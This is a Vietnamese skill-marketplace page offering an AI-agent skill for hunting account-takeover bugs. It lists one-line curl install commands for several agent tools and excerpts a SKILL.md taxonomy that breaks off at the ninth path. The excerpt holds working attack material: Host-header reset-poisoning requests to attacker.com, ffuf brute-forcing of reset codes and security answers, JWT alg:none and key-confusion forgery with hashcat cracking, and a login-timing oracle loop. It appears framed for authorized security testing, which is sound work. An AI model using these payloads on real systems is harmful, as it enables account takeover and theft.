hunt-ato – skill Khác cho agent AI
Săn các kiểu chiếm đoạt tài khoản (ATO)
Cài skill hunt-ato bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ato-ef1a4.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-ato – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ato-ef1a4.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-ato – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ato-ef1a4.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-ato – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-ato-ef1a4.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-ato – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
> ⚠️ AUTHORIZED USE ONLY
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> Mandatory confirmation gate
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
Testing below requires rate/request/attempt limits and a stop condition before guessing or recovery messages. Million-code and wordlist examples are illustrative only; prefer a tiny approved fixture set with known valid/invalid cases. Claiming a dangling cloud resource or sending OAuth/reset links requires specific authorization and cleanup. Use disposable controlled identities, never real user passwords or private answers; record sanitized proof rather than tokens. Referenced report IDs/counts are upstream claims, not independently verified evidence in this copy.
13. ATO — ACCOUNT TAKEOVER TAXONOMY
> 11 illustrative paths. ATO is a destination class, not a single bug — each path below is a primitive that has severity assessed only after you demonstrate takeover of a SECOND, explicitly authorized test account B distinct from A and controlled by the assessment owner, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.
Path 1: Password Reset Poisoning (Host-Header)
POST /forgot-password HTTP/1.1
Host: attacker.com # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling: Host: target.com\r\nHost: attacker.com
[email protected]The reset mailer builds the link from the request Host header → link points to attacker.com/reset?token=XXXX. Confirmation = OOB, not response-based: point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). An email containing a poisoned link proves link construction; token leakage requires a controlled click/request reaching the approved collector. A DNS interaction alone does not prove the reset token arrived.
False-positive killer: many apps put attacker.com in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.
Path 2: Reset Token in Referer / Open-Redirect Leak
GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends Referer: https://target.com/reset-password?token=ABC123
→ full-token leakage is conditional on the effective Referrer-Policy and navigation/resource context; modern strict-origin-when-cross-origin normally sends only the origin cross-originAlso test reset pages that 302 to an open redirect carrying the token in the URL. Proof: capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by Referrer-Policy: no-referrer + tokens in POST body — note their absence.
Path 3: Predictable / Weak Reset Tokens
# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","code":"FUZZ"}' \
-w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictableDiscipline: request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on /forgot-password is routinely rejected — the impact is token guessing, not request flooding.
Path 4: Token No-Expiry / Reuse / Cross-Account
Expiry: verify the documented expiry/threat model; an arbitrary 2h wait is not a universal vulnerability threshold
Reuse: use token once → use again → still valid? = bug
Multi: test documented multiple-token policy; older tokens remaining valid is not automatically a standalone takeover
Cross: does B's token reset A's password if you swap the userid/email param? = IDOR-in-resetPath 5: Email Change Without Re-Auth
PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"[email protected]"} # no current_password, no OTP, no email-confirmIf the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change → ATO via missing re-auth.
Path 6: JWT Manipulation
# (a) alg:none — strip the signature, set header alg to none
python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
#
# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
curl -s https://target.com/.well-known/jwks.json # or /oauth/.well-known/... grab the RSA pub key
# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
#
# (c) weak HMAC secret: crack offline
hashcat -a 0 -m 16500 token.jwt rockyou.txt # -m 16500 = JWT
#
# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)Verified grounding for this class: [CVE-2015-9235](https://nvd.nist.gov/vuln/detail/CVE-2015-9235) (node jsonwebtoken <4.2.2 — alg confusion / none bypass), [CVE-2016-10555](https://nvd.nist.gov/vuln/detail/CVE-2016-10555) (jwt-simple RS256→HS256). Validate: forged token must reach a privileged endpoint as victim B (e.g. GET /api/admin or /api/users/B) — decoding/forging is not impact; an authorized action under B's identity is. If the server ignores the forged sub and keys off the session cookie, the JWT is not the trust boundary — no finding.
Path 7: Password Change Without Step-Up + Login Oracle
# (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:
POST /api/account/password
Cookie: session=AUTHORIZED_TEST_B_COOKIE # from XSS, session-fixation, or token leak
{"new_password":"Pwned#2026"} # no "current_password" field
#
# (b) login timing comparison to investigate a possible oracle in controlled accounts — measure response delta:
for p in $(cat candidates.txt); do
t=$(curl -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)
printf '%s\t%s\n' "$t" "$p"
done | sort -n # bcrypt-vs-fast-reject timing gap, or response-length diff, may reveal processing differences; repeated controlled measurements are required and timing alone does not establish a valid passwordA no-step-up password-change endpoint is the persistence multiplier: cookie theft (transient) + this = attacker sets a new password from the stolen cookie → owns B from any device/IP, victim locked out. False-positive check: confirm there is genuinely no current-password / MFA gate — many APIs accept the field as optional but still 403 server-side; replay without the field and read the actual state change (try logging in with the new password from a clean browser).
Path 8: Social-Recovery / Security-Question Abuse
# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:
ffuf -u "https://target.com/account/recover/answer" -X POST \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","question":"pet","answer":"FUZZ"}' \
-w common-answers.txt -mc 200 -fr "incorrect" -t 5
# also test: answers returned/echoed in /api/me or recovery page source (client-side check)
# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)Pair with offensive-osint: many "secret" answers (birth city, pet, school) are public on social profiles → no brute needed. Validate by completing the recovery flow end-to-end into a session on account B.
Path 9: SSO Subdomain Takeover at OAuth redirect_uri
# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?
GET /oauth/authorize?cli… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- hunt-brute-force – Săn lỗ hổng thiếu hoặc yếu giới hạn tần suất (rate limiting)
- hunt-captcha-bypass – Tìm lỗ hổng bypass CAPTCHA
- hunt-clickjacking – Tìm lỗ hổng Clickjacking
- hunt-cors – Tìm cấu hình CORS sai
- hunt-deserialization – Tìm lỗ hổng deserialization không an toàn
- hunt-exceptional-conditions – Tìm lỗi xử lý sai các trường hợp ngoại lệ
- hunt-file-upload – Tìm lỗi upload file
- hunt-forgot-password – Tìm lỗi xác thực trong chức năng Quên mật khẩu / khôi phục tài khoản